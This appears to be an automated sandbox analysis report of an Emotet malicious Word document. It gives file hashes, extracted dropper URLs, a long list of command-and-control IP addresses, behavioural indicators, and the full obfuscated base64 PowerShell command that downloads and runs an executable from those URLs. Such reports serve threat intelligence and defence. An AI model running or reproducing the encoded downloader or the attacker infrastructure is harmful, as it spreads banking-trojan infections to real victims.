emotet | 730e5405f5a4d477af48b3a110b6dd2286cce2a05b4ef3f28d0abb9faef71de8

Analysis

max time kernel
137s
max time network
141s
platform
windows10_x64
resource
win10
submitted
30/09/2020, 16:05

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General

Target
emotet_e1_730e5405f5a4d477af48b3a110b6dd2286cce2a05b4ef3f28d0abb9faef71de8_2020-09-30__160138007916._doc.doc
Size 145KB
Sample200930-mfc12cyxaa
SHA256 730e5405f5a4d477af48b3a110b6dd2286cce2a05b4ef3f28d0abb9faef71de8
MD5 1d01fb122e79cbb7cb025df1e4182ee4
SHA1 5416983526db60da599c18c6b63bb65d6e36b042
SHA512 ba255f077e8a1b66ab9e7638c695d3f8e5f0ecbf9e001d0c054e9e3a95bfc0fba6e43ccd0846259cfba828795031debc38b471f256dce6685253a70997b03dd8
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://pershel.com/wp-content/Arp/
exe.dropper
http://vidadohomem.com/wp-content/igb/
exe.dropper
http://demo17.webdungsan.com/wp-admin/Cd/
exe.dropper
http://ig.kalcare.online/app/9r2/
exe.dropper
http://clusdirectory.xyz/wp-admin/s2/
exe.dropper
https://naildepotfwb.com/ncws/v/
exe.dropper
https://samsportal.org/images/Akw/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1960	876	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/752-13-0x0000000002220000-0x0000000002232000-memory.dmp	emotet
behavioral2/memory/752-13-0x0000000002220000-0x0000000002232000-memory.dmp	emotet
behavioral2/memory/752-14-0x00000000005C0000-0x00000000005D0000-memory.dmp	emotet
behavioral2/memory/752-14-0x00000000005C0000-0x00000000005D0000-memory.dmp	emotet
behavioral2/memory/1332-17-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/1332-17-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/1332-18-0x0000000000580000-0x0000000000590000-memory.dmp	emotet
behavioral2/memory/1332-18-0x0000000000580000-0x0000000000590000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
15	1960	POwersheLL.exe
16	1960	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
752	W9oj2lrw.exe
1332	d3dramp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\powercfg\d3dramp.exe	W9oj2lrw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3768	WINWORD.EXE
3768	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1960	POwersheLL.exe
1960	POwersheLL.exe
1960	POwersheLL.exe
1332	d3dramp.exe
1332	d3dramp.exe
1332	d3dramp.exe
1332	d3dramp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1960	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
3768	WINWORD.EXE
752	W9oj2lrw.exe
1332	d3dramp.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 752	1960	POwersheLL.exe	80
PID 1960 wrote to memory of 752	1960	POwersheLL.exe	80
PID 1960 wrote to memory of 752	1960	POwersheLL.exe	80
PID 752 wrote to memory of 1332	752	W9oj2lrw.exe	82
PID 752 wrote to memory of 1332	752	W9oj2lrw.exe	82
PID 752 wrote to memory of 1332	752	W9oj2lrw.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_730e5405f5a4d477af48b3a110b6dd2286cce2a05b4ef3f28d0abb9faef71de8_2020-09-30__160138007916._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3768

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABTAGgAagBnAHoAZABhAD0AKAAnAEwAegAnACsAKAAnAGoAJwArACcAMgBfAF8AOAAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBTAGUAcgBQAFIATwBGAGkAbABlAFwAYgBzAGEAVABBAE0AaABcAHkAVABmAFcANwBuAGgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIARQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAUgBpAGAAVABgAFkAYABwAHIAbwB0AE8AYABjAE8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAnACsAKAAnADEAMgAsACAAJwArACcAdABsAHMAMQAnACsAJwAxACwAIAAnACkAKwAnAHQAJwArACcAbABzACcAKQA7ACQATwBuADAAdABlAGkAbQAgAD0AIAAoACcAVwA5ACcAKwAoACcAbwBqACcAKwAnADIAbAAnACkAKwAnAHIAdwAnACkAOwAkAEMAcQB6AGYAZQB1AGgAPQAoACcAVwAnACsAKAAnADUAOAAwAGcAdAAnACsAJwAwACcAKQApADsAJABZAG4AbgBvAGkAbAAxAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAFEAJwArACgAJwA4AEUAJwArACcAQgAnACkAKwAnAHMAYQAnACsAKAAnAHQAYQBtAGgAUQAnACsAJwA4ACcAKQArACcARQBZACcAKwAnAHQAZgAnACsAKAAnAHcANwAnACsAJwBuAGgAUQA4AEUAJwApACkALgAiAHIAYABlAGAAcABMAEEAQwBFACIAKAAoAFsAYwBIAGEAcgBdADgAMQArAFsAYwBIAGEAcgBdADUANgArAFsAYwBIAGEAcgBdADYAOQApACwAWwBTAFQAUgBpAE4AZwBdAFsAYwBIAGEAcgBdADkAMgApACkAKwAkAE8AbgAwAHQAZQBpAG0AKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABSAGMAbABjAHIAawA5AD0AKAAnAFEAJwArACgAJwAxADkAMAAnACsAJwAwAG0AJwApACsAJwBvACcAKQA7ACQAVwB0AHoAaAB1AGMAcwA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAEwASQBlAE4AVAA7ACQAUgBnAGUANQBkADAAdAA9ACgAJwBoAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AcABlACcAKQArACgAJwByAHMAaAAnACsAJwBlAGwAJwApACsAJwAuAGMAJwArACgAJwBvACcAKwAnAG0ALwAnACkAKwAnAHcAJwArACcAcAAnACsAJwAtAGMAJwArACcAbwBuACcAKwAoACcAdAAnACsAJwBlAG4AdAAvACcAKQArACcAQQByACcAKwAnAHAAJwArACcALwAnACsAJwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6ACcAKwAnAC8AJwApACsAJwAvAHYAJwArACcAaQAnACsAKAAnAGQAJwArACcAYQBkAG8AaABvACcAKQArACgAJwBtAGUAbQAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8AJwArACcAbQAvAHcAcAAnACkAKwAoACcALQAnACsAJwBjAG8AbgAnACkAKwAnAHQAZQAnACsAJwBuAHQAJwArACcALwAnACsAKAAnAGkAJwArACcAZwBiACcAKQArACcALwAqACcAKwAnAGgAdAAnACsAKAAnAHQAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AZABlACcAKwAnAG0AJwApACsAJwBvADEAJwArACcANwAuACcAKwAoACcAdwAnACsAJwBlAGIAZAB1AG4AZwBzACcAKQArACcAYQAnACsAJwBuACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwB3AHAALQAnACsAJwBhAGQAbQAnACsAJwBpACcAKQArACgAJwBuACcAKwAnAC8AQwBkAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8AJwApACsAKAAnAC8AaQBnAC4AawAnACsAJwBhACcAKQArACgAJwBsAGMAJwArACcAYQAnACkAKwAnAHIAJwArACgAJwBlAC4AbwAnACsAJwBuAGwAJwApACsAKAAnAGkAbgAnACsAJwBlACcAKQArACcALwBhACcAKwAoACcAcABwAC8AOQAnACsAJwByACcAKQArACgAJwAyAC8AJwArACcAKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAJwAvAC8AJwArACcAYwBsACcAKQArACcAdQAnACsAJwBzAGQAJwArACgAJwBpACcAKwAnAHIAZQAnACkAKwAnAGMAJwArACgAJwB0ACcAKwAnAG8AcgAnACsAJwB5AC4AeAB5AHoALwAnACsAJwB3ACcAKQArACgAJwBwAC0AJwArACcAYQAnACkAKwAoACcAZABtAGkAJwArACcAbgAvAHMAMgAnACsAJwAvACoAaAB0AHQAcAAnACkAKwAnAHMAJwArACcAOgAvACcAKwAnAC8AJwArACgAJwBuAGEAaQBsAGQAZQBwAG8AJwArACcAdAAnACkAKwAoACcAZgAnACsAJwB3AGIALgBjAG8AbQAnACsAJwAvACcAKQArACgAJwBuACcAKwAnAGMAJwArACcAdwBzAC8AdgAvACcAKQArACgAJwAqAGgAJwArACcAdAB0AHAAcwAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAcwBhACcAKwAnAG0AJwArACcAcwBwAG8AJwArACcAcgB0AGEAbAAuAG8AcgBnACcAKQArACgAJwAvAGkAbQAnACsAJwBhACcAKQArACgAJwBnAGUAcwAvACcAKwAnAEEAJwApACsAKAAnAGsAdwAnACsAJwAvACcAKQApAC4AIgBzAFAAYABsAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAYQB1AHkAbQBnAG0APQAoACcAQgB3ACcAKwAnAGQAJwArACgAJwBnAGEAdAAnACsAJwAxACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAVABpAGYAcQAyADMANQAgAGkAbgAgACQAUgBnAGUANQBkADAAdAApAHsAdAByAHkAewAkAFcAdAB6AGgAdQBjAHMALgAiAEQATwB3AGAATgBMAG8AYABBAGQAYABGAGkAbABFACIAKAAkAFQAaQBmAHEAMgAzADUALAAgACQAWQBuAG4AbwBpAGwAMQApADsAJABLADMAZABpAGcAdAAxAD0AKAAnAE4AYwAnACsAKAAnAHQAbwB4ACcAKwAnAGkAZwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABZAG4AbgBvAGkAbAAxACkALgAiAGwAYABlAG4ARwB0AEgAIgAgAC0AZwBlACAAMwAxADEAMQAxACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFkAbgBuAG8AaQBsADEAKQA7ACQARQBsAGYAMABsAGYAcgA9ACgAKAAnAEUAYQAnACsAJwA2AGgAMwB4ACcAKQArACcAZQAnACkAOwBiAHIAZQBhAGsAOwAkAE4AdQBoAGkAZgB1AGYAPQAoACcAVABlACcAKwAoACcAagB5ACcAKwAnADkAdAA0ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABOADIANQBpAHUAcQBkAD0AKAAoACcAUQAnACsAJwBzAF8AJwApACsAKAAnAHMANgB3ACcAKwAnADIAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Users\Admin\Bsatamh\Ytfw7nh\W9oj2lrw.exe
  "C:\Users\Admin\Bsatamh\Ytfw7nh\W9oj2lrw.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Windows\SysWOW64\powercfg\d3dramp.exe
    "C:\Windows\SysWOW64\powercfg\d3dramp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1332

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/752-14-0x00000000005C0000-0x00000000005D0000-memory.dmp

Download

memory/752-13-0x0000000002220000-0x0000000002232000-memory.dmp

Download

memory/1332-18-0x0000000000580000-0x0000000000590000-memory.dmp

Download

memory/1332-17-0x00000000005A0000-0x00000000005B2000-memory.dmp

Download

memory/1960-8-0x000001D0707B0000-0x000001D0707B1000-memory.dmp

Download

memory/1960-9-0x000001D0709E0000-0x000001D0709E1000-memory.dmp

Download

memory/1960-7-0x00007FFA38E90000-0x00007FFA3987C000-memory.dmp

Download

memory/3768-0-0x00007FFA403D0000-0x00007FFA40A96000-memory.dmp

Download

memory/3768-6-0x00000188FC1C2000-0x00000188FC1C4000-memory.dmp

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memory/3768-5-0x00000188FC1C2000-0x00000188FC1C4000-memory.dmp

Download

memory/3768-4-0x00000188FC1BD000-0x00000188FC1C1000-memory.dmp

Download

memory/3768-3-0x00000188FC1C1000-0x00000188FC1C2000-memory.dmp

Download

memory/3768-2-0x00000188FC1C4000-0x00000188FC1C8000-memory.dmp

Download

memory/3768-1-0x00000188FC022000-0x00000188FC023000-memory.dmp

Download